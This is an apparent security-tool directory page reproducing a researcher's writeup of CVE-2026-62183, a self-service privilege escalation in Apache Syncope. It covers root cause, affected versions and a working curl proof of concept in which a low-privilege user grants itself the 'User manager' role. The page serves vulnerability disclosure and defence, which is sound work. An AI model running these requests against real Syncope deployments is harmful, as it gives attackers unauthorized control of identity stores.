Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-62183 — Apache Syncope: User self-service privilege escalation | Kitploit
Tools/GitHubGitHub/nicpwns/cve-2026-62183
Vulnerability ScannersCode AnalysisExploitationWeb SecurityPapers & ResearchLearning & Education
GitHubnicpwns/cve-2026-62183

CVE-2026-62183

Apache Syncope: User self-service privilege escalation

View Repository
1592 months agoNot yet reviewed
Website

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-62183 — Apache Syncope user self-service privilege escalation

Improper Privilege Management (CWE-269) in Apache Syncope. An authenticated, low-privilege user can grant themselves arbitrary roles (and group memberships, external resources, and a new realm) through the user self-service API — operations that require administrative entitlements on every other code path — and thereby become an administrator of the identity store.

This repository is the technical reference for the vulnerability: root cause, a runtime-confirmed proof of concept, and reproduction notes. A narrative account of how it was found lives separately (see Write-up).

At a glance

CVECVE-2026-62183
Vendor / productApache Software Foundation — Apache Syncope
Affected packageorg.apache.syncope.core:syncope-core-workflow-java
ClassCWE-269 Improper Privilege Management (mechanism: CWE-862 Missing Authorization)
SeverityImportant (ASF PMC) · CVSS 3.1 8.8 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Affected3.0.0-M0 → 3.0.16 · 4.0.0-M0 → 4.0.6 · 4.1.0-M0 → 4.1.1
Fixed in4.0.7 / 4.1.2 (SYNCOPE-1983) · 3.0.x is EOL, no fix
Confirmed on3.0.16 (standalone distribution, JDK 17), domain Master

Summary

Apache Syncope's user self-service update endpoint, PATCH /users/self/{key}, requires only isAuthenticated(). The shared logic layer skips the authorization check for "self" operations, while the data binder still applies privileged request fields (roles, memberships, resources, auxClasses, realm). The result is a straightforward privilege escalation: a low-privilege user self-assigns a privileged role and immediately gains its entitlements — including, with a suitably powerful role, full administration of all users. Where self-registration is enabled, the same flaw applies to doCreate, so an unauthenticated attacker can register an already-privileged account.

Preconditions

The vulnerability applies when one of the following user workflow adapters is configured (this is what the vendor advisory scopes it to):

  • the all-Java user workflow adapter, or
  • the Flowable user workflow adapter with a BPMN definition that does not require admin approval for self-registration / self-update.

In production, self-service is normally driven through the Enduser UI, which does not expose role assignment; reaching this requires the Core REST API to be callable by the low-privilege user. The runtime PoC below uses the Standalone Distribution, which Apache documents as evaluation-only and which ships seed data (the user bellini, the built-in roles User manager / User reviewer) — that seed data is not present in a general deployment. These are honest constraints on real-world exploitability, not on the correctness of the flaw.

Root cause

Request flow for PATCH /users/self/{key}:

UserSelfService.update(UserUR)            common/.../rest/api/service/UserSelfService.java   @PATCH @Path("users/self/{key}")
  → UserSelfLogic.update(...)             core/idrepo/logic/.../UserSelfLogic.java
    → AbstractUserLogic.doUpdate(..., self=true)
      → UserDataBinderImpl.update(...)     core/provisioning-java/.../data/UserDataBinderImpl.java

1. The endpoint authorizes only "is anyone logged in?" — UserSelfLogic.update:

@PreAuthorize("isAuthenticated() "
    + "and not(hasRole('" + IdRepoEntitlement.ANONYMOUS + "')) "
    + "and not(hasRole('" + IdRepoEntitlement.MUST_CHANGE_PASSWORD + "'))")
public ProvisioningResult<UserTO> update(final UserUR userUR, final boolean nullPriorityAsync) {
    ...
    ProvisioningResult<UserTO> updated = doUpdate(userUR, true, nullPriorityAsync);   // self = true

No entitlement (no USER_UPDATE, no role/realm scope) is required.

2. The authorization check is skipped for self operations — AbstractUserLogic.doUpdate:

protected ProvisioningResult<UserTO> doUpdate(final UserUR userReq, final boolean self, ...) {
    ...
    if (!self) {                                   // self == true: the whole block is skipped
        Set<String> authRealms = RealmUtils.getEffective(
                AuthContextUtils.getAuthorizations().get(IdRepoEntitlement.USER_UPDATE), ...);
        userDAO.securityChecks(authRealms, before.getKey(), before.getRealm(), groups);
    }
    ...
}

3. The binder applies privileged fields regardless — UserDataBinderImpl.update(...) applies role ADD/DELETE, memberships(...) (groups) and fill(...) (resources / realm) straight from the request, with no caller-privilege check — that check is supposed to live in the Logic layer that step 2 skips. The admin path (UserLogic.update, @PreAuthorize("hasRole('USER_UPDATE')"), doUpdate(..., false, ...)) does run securityChecks; the self path does not.

The escalated role takes effect at authentication: AuthDataAccessor.getUserAuthorities(user) walks userDAO.findAllRoles(user) and unions each role's entitlements, so the self-assigned role is live on the user's next request/login. The same if (!self) skip is present in doCreate, extending the flaw to self-registration.

In short: two layers each assumed the other enforced the privilege check. The endpoint delegated authorization to the Logic layer; the Logic layer skipped it for self; the binder trusted the Logic layer to have gate-kept the fields.

Proof of concept

A normal authenticated user with no roles self-assigns the built-in privileged role User manager (which grants USER_READ over /) and then reads an arbitrary account. No admin action, no special configuration. Full script: poc.sh.

B=http://localhost:9080/syncope/rest
H='-H X-Syncope-Domain:Master -H Accept:application/json -H Content-Type:application/json'

# (setup, admin) create a plain user with NO roles → returns entity.key = $K2
curl -s -u admin:password $H -X POST "$B/users" -d '{"_class":"org.apache.syncope.common.lib.request.UserCR",
 "realm":"/","username":"eviluser2","password":"Password123!","mustChangePassword":false,
 "plainAttrs":[{"schema":"fullname","values":["E2"]},{"schema":"surname","values":["Two"]},
 {"schema":"userId","values":["[email protected]"]}]}'

AUTH="-u eviluser2:Password123!"
# [1] baseline — eviluser2 cannot read another account:
curl -s $AUTH $H -o /dev/null -w '%{http_code}\n' "$B/users/bellini"          # -> 403

# [2] THE BUG — eviluser2 self-assigns the existing privileged role "User manager":
curl -s $AUTH $H -X PATCH "$B/users/self/$K2" -d '{"_class":"org.apache.syncope.common.lib.request.UserUR",
 "key":"'"$K2"'","roles":[{"operation":"ADD_REPLACE","value":"User manager"}]}' \
 -w '%{http_code}\n'                                                          # -> 200 ; entity.roles=["User manager"]

# [3] escalated — eviluser2 now reads any account:
curl -s $AUTH $H -o /dev/null -w '%{http_code}\n' "$B/users/bellini"          # -> 200

Observed: [1] 403 → [2] 200 (roles now ["User manager"]) → [3] 200. The assignment persists (confirmed via the admin view of the user). The same request shape also self-assigns memberships (groups), resources (triggering provisioning to external systems) and a new realm.

The PoC deliberately uses only legitimate, documented API calls to demonstrate the authorization gap. It is a minimal proof, not a weaponized exploit — see Responsible use.

Reproducing it

See BUILD.md for a no-Docker, no-Maven runtime setup (standalone Tomcat + Temurin JDK 17) and readiness checks, then:

B=http://localhost:9080/syncope/rest ./poc.sh
Download Tool